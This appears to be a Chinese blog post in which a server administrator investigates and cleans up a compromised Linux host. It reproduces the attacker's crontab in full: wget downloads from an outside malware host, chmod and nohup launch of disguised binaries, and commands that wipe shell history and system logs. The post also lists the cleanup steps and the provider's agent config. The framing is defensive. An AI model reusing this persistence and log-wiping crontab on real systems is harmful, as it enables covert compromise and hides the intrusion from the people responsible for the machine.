服务器被黑客加入恶意攻击程序
先是最近几天每天下午服务器带宽占用莫名增高。重启web服务后问题消失,以为是针对网站的cc攻击。接下来昨天下午网站继续出来访问故障,查看服务器出站流量情况正常,cpu增高到100%。重启web服务后cpu恢复正常。万网工程师建议使用iptraf检查服务器流量情况。使用iptraf -i eth0发现服务器发送大量内网udp包。检查服务器开放端口发现iptables规则新开放了9001和3001两个端口。遂关闭这2个端口。使用netstat -apn查看端口9001占用进程为一个名为khostd的程序。检查/etc/rc.d/rc.local,发现被加入了
nohup /etc/cupsddd > /dev/null 2>&1& cd /etc;./ksapdd cd /etc;./kysapdd cd /etc;./atddd cd /etc;./ksapdd cd /etc;./skysapdd cd /etc;./xfsdxd
检查etc目录,发现存在cupsddd,ksapdd,kysapdd文件。
查找ksapdd文件,在/usr/src/virusfile下看到一堆文件
atddd cupsddd ksapdd kysapdd sksapdd skysapdd xfsdxd
检查/etc/rc1.d,rc2.d,rc3.d,rc4.d,rc5.d,存在异常软连接
lrwxrwxrwx 1 root root 25 02-09 20:08 S97DbSecuritySpt /etc/init.d/DbSecuritySpt
使用
more /etc/init.d/DbSecuritySpt
查看到该文件执行以下命令
#!/bin/bash /etc/cupsdd
服务器异常情况追溯完毕,删除异常文件,删除异常启动项
chkconfig --del cups
重启服务器。
发现etc目录刚才删除的文件再次出现,cupsadd,khostd进程依然存在,查看crontab,发现如下异常
*/1 * * * * killall -9 DDosl */1 * * * * killall -9 lengchao32 */1 * * * * killall -9 b26 */1 * * * * killall -9 codelove */1 * * * * killall -9 32 */1 * * * * killall -9 64 */1 * * * * killall -9 new6 */1 * * * * killall -9 new4 */1 * * * * killall -9 node24 */1 * * * * killall -9 freeBSD */99 * * * * killall -9 cupsdd */99 * * * * killall -9 kysapd */98 * * * * killall -9 atdd */97 * * * * killall -9 kysapd */96 * * * * killall -9 skysapd */95 * * * * killall -9 xfsdx */94 * * * * killall -9 ksapd */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd */120 * * * * cd /root;rm -rf dir nohup.out */360 * * * * cd /etc;rm -rf dir atdd */360 * * * * cd /etc;rm -rf dir ksapd */360 * * * * cd /etc;rm -rf dir kysapd */360 * * * * cd /etc;rm -rf dir skysapd */360 * * * * cd /etc;rm -rf dir sksapd */360 * * * * cd /etc;rm -rf dir xfsdx */1 * * * * cd /etc;rm -rf dir cupsdd.* */1 * * * * cd /etc;rm -rf dir atdd.* */1 * * * * cd /etc;rm -rf dir ksapd.* */1 * * * * cd /etc;rm -rf dir kysapd.* */1 * * * * cd /etc;rm -rf dir skysapd.* */1 * * * * cd /etc;rm -rf dir sksapd.* */1 * * * * cd /etc;rm -rf dir xfsdx.* */1 * * * * chmod 7777 /etc/atdd */1 * * * * chmod 7777 /etc/cupsdd */1 * * * * chmod 7777 /etc/ksapd */1 * * * * chmod 7777 /etc/kysapd */1 * * * * chmod 7777 /etc/skysapd */1 * * * * chmod 7777 /etc/sksapd */1 * * * * chmod 7777 /etc/xfsdx */1 * * * * nohup /etc/cupsdd > /dev/null 2>&1& */100 * * * * nohup /etc/kysapd > /dev/null 2>&1& */99 * * * * nohup /etc/atdd > /dev/null 2>&1& */98 * * * * nohup /etc/kysapd > /dev/null 2>&1& */97 * * * * nohup /etc/skysapd > /dev/null 2>&1& */96 * * * * nohup /etc/xfsdx > /dev/null 2>&1& */95 * * * * nohup /etc/ksapd > /dev/null 2>&1& */1 * * * * echo "unset MAILCHECK" >> /etc/profile */1 * * * * rm -rf /root/.bash_history */1 * * * * touch /root/.bash_history */1 * * * * history -r */1 * * * * cd /var/log > dmesg */1 * * * * cd /var/log > auth.log */1 * * * * cd /var/log > alternatives.log */1 * * * * cd /var/log > boot.log */1 * * * * cd /var/log > btmp */1 * * * * cd /var/log > cron */1 * * * * cd /var/log > cups */1 * * * * cd /var/log > daemon.log */1 * * * * cd /var/log > dpkg.log */1 * * * * cd /var/log > faillog */1 * * * * cd /var/log > kern.log */1 * * * * cd /var/log > lastlog */1 * * * * cd /var/log > maillog */1 * * * * cd /var/log > user.log */1 * * * * cd /var/log > Xorg.x.log */1 * * * * cd /var/log > anaconda.log */1 * * * * cd /var/log > yum.log */1 * * * * cd /var/log > secure */1 * * * * cd /var/log > wtmp */1 * * * * cd /var/log > utmp */1 * * * * cd /var/log > messages */1 * * * * cd /var/log > spooler */1 * * * * cd /var/log > sudolog */1 * * * * cd /var/log > aculog */1 * * * * cd /var/log > access-log */1 * * * * cd /root > .bash_history */1 * * * * history -c
打开/etc/cron.daily文件夹,发现存在cups
e../ 0anacron* 0logwatch@ cups* freshclam* hichina* logrotate* makewhatis.cron* mlocate.cron* prelink* rpm* tmpwatch*
备份并清空crontab
cp /var/spool/cron/root /tmp/root echo "" > /var/spool/cron/root
杀掉进程
for i in $(ps -ef |egrep "ksapdd|kysapdd|atddd|ksapdd|skysapdd|xfsdxd|cupsdd|cupsddh" |grep -v grep|awk '{print $2}');do kill -9 $i;done
kill 2779 kill 2790(2779和2790为khostd对应的进程pid)
再重启,etc目录出现cups,cupsddh文件,khostd进程再次出现。
杀死khostd进程,删除/etc/cups,cupsddh文件。再重启。
cups相关文件不再出现,khostd继续出现。
使用ps -ef 得到进程id2765,ls -l /proc/2765 ,看到khostd的程序文件目录
lrwxrwxrwx 1 root root 0 05-30 12:14 exe /usr/lib/.khostd/khostd
执行rm -rf .khostd提示权限不够
chmod -R 777 .khostd提示不允许操作
需要对文件进行修改去掉禁止删除
chattr -i .khostd/ rm -rf .khostd
重启,khostd进程不再出现。
目前疑惑的是使用iptraf -i eth0查看服务器发包记录看到依然存在机房内网服务器间的大量udp通讯(非本机发送或接受,疑似本机发送过erp欺骗包,伪装成网关了?)。继续观察。
ps:6.1更新,经研究发现,9001端口khostd是万网云主机管理进程,不是黑客程序。
ps:6.3更新,该进程使用备份文件重新运行后,打开端口为9000,万网控制面板无法正常使用,参考http://blog.x2x4.net/html/268.html判断,可能备份文件时(使用tar -cf命令打包),漏掉.hostsconf文件,使用
bindport=9001 trustip=221.122.57.34,123.124.198.195,222.35.137.249,121.199.254.223,121.199.254.182,222.35.137.17,10.247.62.11,10.247.206.151,112.125.38.121,112.125.31.11,112.125.15.46,112.125.15.45,10.247.190.135heartserver=hcms.hichina.com heartserver_port=3001 reportserver=hcms.hichina.com reportserver_port=3001 version=Unix2.02
重建.hostsconf后执行khostd,依然打开的是9000端口。万网后台提交工单,万网工程师不愿意提供khostd的具体用法,建议初始化系统。由于配置环境比较费时,考虑khostd对应功能除了万网控制面板内的硬件信息查看,没有别的用途,倒像是一个权限极高的后门程序。遂就此作罢。
入侵原因待查。
本文部分操作受到以下文章帮助。
http://blog.sina.com.cn/s/blog_406127500101h3fu.html